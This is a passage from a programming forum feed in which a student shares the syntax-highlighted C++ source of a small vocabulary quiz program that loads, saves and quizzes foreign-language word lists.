style="color: #FF0000;">&quot;&quot;</span><span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;Filename(no extension): &quot;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        getline<span style="color: #008000;">&#40;</span><span style="color: #0000dd;">cin</span>, fName<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    ifstream myFile<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    string word<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #008000;">&#93;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    myFile.<span style="color: #007788;">open</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#40;</span>fName<span style="color: #000040;">+</span><span style="color: #FF0000;">&quot;.wdb&quot;</span><span style="color: #008000;">&#41;</span>.<span style="color: #007788;">c_str</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    w.<span style="color: #007788;">clear</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">while</span><span style="color: #008000;">&#40;</span><span style="color: #0000ff;">true</span><span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        getline<span style="color: #008000;">&#40;</span>myFile, word<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        getline<span style="color: #008000;">&#40;</span>myFile, word<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>myFile.<span style="color: #007788;">fail</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span> <span style="color: #0000ff;">break</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        w.<span style="color: #007788;">push_back</span><span style="color: #008000;">&#40;</span>Word<span style="color: #008000;">&#40;</span>word<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #008000;">&#93;</span>, word<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> printMain<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;[1] new wordlist.&quot;</span> <span style="color: #000080;">&lt;&lt;</span> endl <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;[2] Add words to current wordlist.&quot;</span> <span style="color: #000080;">&lt;&lt;</span> endl <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;[3] Display current wordlist.&quot;</span> <span style="color: #000080;">&lt;&lt;</span> endl <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;[4] Take the quiz. (current wordlist)&quot;</span> <span style="color: #000080;">&lt;&lt;</span> endl<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;[5] Save wordlist to file.&quot;</span> <span style="color: #000080;">&lt;&lt;</span> endl <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;[6] Load wordlist. (will erease current wordlist)&quot;</span> <span style="color: #000080;">&lt;&lt;</span> endl <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;[7] Quit&quot;</span> <span style="color: #000080;">&lt;&lt;</span> endl<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#125;</span></div></li></ol></pre></code></div><br /></div></div></div><span style="font-weight: bold;">word.h and word.cpp</span><br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
word.h<br />
<div class="geshicode_h" style='padding: 5px; background-color: #DFDFDF; border: 1px solid #AAAAAA; overflow:auto;'>&nbsp;&nbsp;&nbsp;&nbsp;<a href='http://www.infernodevelopment.com'>C++ Programming</a>
	<div class="geshicode_b" style='background-color: #FFFFFF; padding-left: 5px; border: 1px solid #BBBBBB; overflow:auto;'><code><pre class="cpp" style="font-family:monospace;"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339900;">#ifndef WORD_H</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339900;">#define WORD_H</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339900;">#include &lt;iostream&gt;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">class</span> Word</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">public</span><span style="color: #008080;">:</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        Word<span style="color: #008000;">&#40;</span>std<span style="color: #008080;">::</span><span style="color: #007788;">string</span> _fWord, std<span style="color: #008080;">::</span><span style="color: #007788;">string</span> _sWord<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #666666;">//The constructor.</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        std<span style="color: #008080;">::</span><span style="color: #007788;">string</span> fWord<span style="color: #008080;">;</span> <span style="color: #666666;">// firstWord</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        std<span style="color: #008080;">::</span><span style="color: #007788;">string</span> sWord<span style="color: #008080;">;</span> <span style="color: #666666;">// secondWord</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">protected</span><span style="color: #008080;">:</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">private</span><span style="color: #008080;">:</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#125;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339900;">#endif // WORD_H</span></div></li></ol></pre></code></div><br /></div><br />
word.cpp<br />
<div class="geshicode_h" style='padding: 5px; background-color: #DFDFDF; border: 1px solid #AAAAAA; overflow:auto;'>&nbsp;&nbsp;&nbsp;&nbsp;<a href='http://www.infernodevelopment.com'>C++ Programming</a>
	<div class="geshicode_b" style='background-color: #FFFFFF; padding-left: 5px; border: 1px solid #BBBBBB; overflow:auto;'><code><pre class="cpp" style="font-family:monospace;"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339900;">#include &quot;word.h&quot;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">Word<span style="color: #008080;">::</span><span style="color: #007788;">Word</span><span style="color: #008000;">&#40;</span>std<span style="color: #008080;">::</span><span style="color: #007788;">string</span> _fWord, std<span style="color: #008080;">::</span><span style="color: #007788;">string</span> _sWord<span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    fWord <span style="color: #000080;">=</span> _fWord<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    sWord <span style="color: #000080;">=</span> _sWord<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#125;</span></div></li></ol></pre></code></div><br /></div></div></div></div></div>
I won't release the binary, only if people request it.<br />
And if you think you could donate some to be, just pm me and i'll pm you my paypal address :&gt;<br />
<br />
Enjoy and learn some new words!]]></description>
			<content:encoded><![CDATA[Hey guys.<br />
It's been a while since I posted any project or anything, so I'm going to post my latest project (it was a task in the programming class today). I've recoded it since the lesson (took about 10-20 mins)<br />
<br />
What is it?<br />
It's a simple app that you can use to learn new words in foreign languanges. The system is very simple. Lets pretend i want to learn swedish words that i picked. i got the following words. (I know, worst project name ever)<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>English | swedish<br />
----------------<br />
Cat&nbsp;&nbsp;&nbsp;&nbsp; | Katt<br />
Car&nbsp;&nbsp;&nbsp;&nbsp; | Bil<br />
word1&nbsp;&nbsp; | word1</code></div></div>
Then the application will ask me about the words, and i'll input them. And later on i can take a quiz, save wordlist to file and load it. That basicly means that you can share your wordlist with classmates etc.<br />
<br />
<span style="text-decoration: underline;"><span style="font-weight: bold;">Source code</span></span><br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<span style="font-weight: bold;">main.cpp</span><br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<div class="geshicode_h" style='padding: 5px; background-color: #DFDFDF; border: 1px solid #AAAAAA; overflow:auto;'>&nbsp;&nbsp;&nbsp;&nbsp;<a href='http://www.infernodevelopment.com'>C++ Programming</a>
	<div class="geshicode_b" style='background-color: #FFFFFF; padding-left: 5px; border: 1px solid #BBBBBB; overflow:auto;'><code><pre class="cpp" style="font-family:monospace;"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339900;">#include &lt;iostream&gt;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339900;">#include &lt;fstream&gt;      // for file reading etc.</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339900;">#include &lt;vector&gt;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339900;">#include &lt;algorithm&gt;    // To randomize/sort the vector</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339900;">#include &lt;cstdlib&gt;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339900;">#include &quot;word.h&quot;       // My class for words.</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">using</span> <span style="color: #0000ff;">namespace</span> std<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> printMain<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> loadWords<span style="color: #008000;">&#40;</span>vector<span style="color: #000080;">&lt;</span>Word<span style="color: #000080;">&gt;</span> <span style="color: #000040;">&</span>w, string fName<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>          <span style="color: #666666;">// If fName == &quot;&quot; then the app will ask for fileName</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> addWords<span style="color: #008000;">&#40;</span>vector<span style="color: #000080;">&lt;</span>Word<span style="color: #000080;">&gt;</span> <span style="color: #000040;">&</span>w, <span style="color: #0000ff;">bool</span> clear<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>             <span style="color: #666666;">// if clear == true the vector will get empted first.</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> displayWords<span style="color: #008000;">&#40;</span>vector<span style="color: #000080;">&lt;</span>Word<span style="color: #000080;">&gt;</span> <span style="color: #000040;">&</span>w<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> saveWords<span style="color: #008000;">&#40;</span>vector<span style="color: #000080;">&lt;</span>Word<span style="color: #000080;">&gt;</span> <span style="color: #000040;">&</span>w<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> quiz<span style="color: #008000;">&#40;</span>vector<span style="color: #000080;">&lt;</span>Word<span style="color: #000080;">&gt;</span> <span style="color: #000040;">&</span>w<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">int</span> main<span style="color: #008000;">&#40;</span><span style="color: #0000ff;">int</span> argc, <span style="color: #0000ff;">char</span><span style="color: #000040;">*</span> argv<span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    vector<span style="color: #000080;">&lt;</span>Word<span style="color: #000080;">&gt;</span> words<span style="color: #008080;">;</span> <span style="color: #666666;">// Create a vector for my class 'word'</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    string input<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>argv<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #008000;">&#93;</span> <span style="color: #000040;">!</span><span style="color: #000080;">=</span> <span style="color: #0000ff;">NULL</span><span style="color: #008000;">&#41;</span> loadWords<span style="color: #008000;">&#40;</span>words, argv<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">while</span><span style="color: #008000;">&#40;</span><span style="color: #0000ff;">true</span><span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        printMain<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        getline<span style="color: #008000;">&#40;</span><span style="color: #0000dd;">cin</span>, input<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>input<span style="color: #000080;">==</span><span style="color: #FF0000;">&quot;1&quot;</span><span style="color: #008000;">&#41;</span> addWords<span style="color: #008000;">&#40;</span>words, <span style="color: #0000ff;">true</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000ff;">else</span> <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>input<span style="color: #000080;">==</span><span style="color: #FF0000;">&quot;2&quot;</span><span style="color: #008000;">&#41;</span> addWords<span style="color: #008000;">&#40;</span>words, <span style="color: #0000ff;">false</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000ff;">else</span> <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>input<span style="color: #000080;">==</span><span style="color: #FF0000;">&quot;3&quot;</span><span style="color: #008000;">&#41;</span> displayWords<span style="color: #008000;">&#40;</span>words<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000ff;">else</span> <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>input<span style="color: #000080;">==</span><span style="color: #FF0000;">&quot;4&quot;</span><span style="color: #008000;">&#41;</span> quiz<span style="color: #008000;">&#40;</span>words<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000ff;">else</span> <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>input<span style="color: #000080;">==</span><span style="color: #FF0000;">&quot;5&quot;</span><span style="color: #008000;">&#41;</span> saveWords<span style="color: #008000;">&#40;</span>words<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000ff;">else</span> <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>input<span style="color: #000080;">==</span><span style="color: #FF0000;">&quot;6&quot;</span><span style="color: #008000;">&#41;</span> loadWords<span style="color: #008000;">&#40;</span>words, <span style="color: #FF0000;">&quot;&quot;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000ff;">else</span> <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>input<span style="color: #000080;">==</span><span style="color: #FF0000;">&quot;7&quot;</span><span style="color: #008000;">&#41;</span> <span style="color: #0000ff;">break</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000dd;">system</span><span style="color: #008000;">&#40;</span><span style="color: #FF0000;">&quot;cls&quot;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">return</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> quiz<span style="color: #008000;">&#40;</span>vector<span style="color: #000080;">&lt;</span>Word<span style="color: #000080;">&gt;</span> <span style="color: #000040;">&</span>w<span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    random_shuffle<span style="color: #008000;">&#40;</span>w.<span style="color: #007788;">begin</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span>, w.<span style="color: #007788;">end</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;I'll display the first word, guess the second one.&quot;</span> <span style="color: #000080;">&lt;&lt;</span> endl<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    string str<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">int</span> right <span style="color: #000080;">=</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">for</span><span style="color: #008000;">&#40;</span><span style="color: #0000ff;">unsigned</span> <span style="color: #0000ff;">int</span> i <span style="color: #000080;">=</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span>i <span style="color: #000080;">&lt;</span> w.<span style="color: #007788;">size</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>i<span style="color: #000040;">++</span><span style="color: #008000;">&#41;</span></div></li><li 